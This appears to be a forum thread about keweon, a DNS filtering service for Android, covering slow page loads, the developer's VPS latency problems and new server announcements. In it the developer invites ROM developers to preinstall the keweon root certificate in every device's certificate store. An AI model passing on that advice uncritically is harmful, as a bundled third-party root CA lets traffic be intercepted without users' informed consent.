I like this concept and want to keep testing. Here's my issue - for some reason, activating design change causes very slow loading speed. Same on WiFi or mobile. I have entries active for ipv4 and ipv6. For ipv4, the first set of numbers in post 2 won't work. Dns changer shows red line in entry field, (bad numbers). So, I'm using the second set, (starts with 51.254...). For ipv6, I'm using the first set. They work fine, but cause it to take 10-20 seconds to load a page. It seems like it gets better the more I browse, but still will take 5-10 seconds to load just about any page, and when I open up dns changer and hit 'stop', it is automatically faster, no more lag.
I wondered at first if it was a conflict with other tweaks and mods, (I have build prop tweaks, and AFWall app, etc), so I undid everything and tried again, but the same. I use Naked Browser almost exclusively, but tested with AOSP browser also, and no different.
Any ideas? Thanks

Thanks a lot for the feedback.
The problem is related to the latency of my current VPS. That was one of the main reason why I would need to find an Investor. The entire system needs to be run from a physical Host but this will need an Invest for 200.000 Euro per year. 20 GBit Server located within 16 Countries world wide. Would be so cute but they wanted that I collect data from users to sell this. I guess you can imagine what my answers was to this stupid idea.
Anyway... I guess I have an idea. First at all, which county/city you are located? If you don't want to make this public send me a short PM.
Thanks a lot for your support. I'm pretty sure I will find a solution ?
Btw... Anyone else with this problem? Send a short PM with your Country/City.
Thank you very much, it works very well.
I do have a small delay from 5 up to 15 seconds on an initial connection but after the webpage is loaded there is no more delay and often faster than without the dns.
For me its not a big issue, I did pm you with my country and city in case it may be if help for you.
MILLION TIMES THANKS TO ALL OF YOU
FOR YOUR SUPPORT & TRUST INTO KEWEON
Today I received the first f/p blacklist settings and this will be in place tomorrow morning 03:00 AM GMT +1 (German Time). Good to see that the system is in use.
With the help and testing from a view users it seems the current DNS Servers are to slow. I will change the public front end infrastructure. I will anounce this bevore to prevent interruption.
But keep in mind!
I'M NOT GOOGLE OR ANY OTHER DNS PROVIDER WITH A BILLION EURO BUDGET!
Unfortunately I don't have the money to do what I want but I guess this is anyway the best solution which is currently available. I need to host everything on VPS which is from the technical point of view not the best solution because of a high latency. I'm working on this, still think about Investor or Crowdfunding or anthing like this. But first at all I want to have a usable system and a pretty website in place.
That will finally mean that the launch of the website is still in progress - sorry folks - but I guess it is more important that the system will be fast as possible and stable.
OFFER:
If someone of you is interested to take over the responsiblity/administration of the keweon forum - let me know. I'm fine with nearly 8 programming languages but this phpBB3 Board drives me crazy. This is not my world. I appreciate every help and support. My english is not longer the best and my wife would kill me if I would do this also because the technical support of the system needs already a lot of time.
Contact me via PM if you are interested.
MILLION TIMES THANKS AGAIN!
New & faster Servers are online. Feel so free to use it, test it, share it to your friends and wherever you want.
Click here for current DNS Server List
Please test each of the server. Someone from US reportet that UK and NL DNS Server has a damn good performance within USA.
If someone of you have contact to ASIA please let me know what's about the Japan DNS Server.
@Rom DEVS
If you are interested to add the keweon Certificate by default to your ROM you're welcome.
This has the advantage that there is no need to assign a PIN to the device if you place the Certificate by default into the Certificate Store.
Btw, the website is already in progress and I hope you will visit it when it's done.
Really excited about this.
Looking into ways to change the dns on Android with root access, any ideas?

Use this App. No Root required. The app is a fake VPN App.
This will mean it will also work in 3G/LTE Mode and it's Open Source available at Git Hub.
Not my App. But I also use this outside.
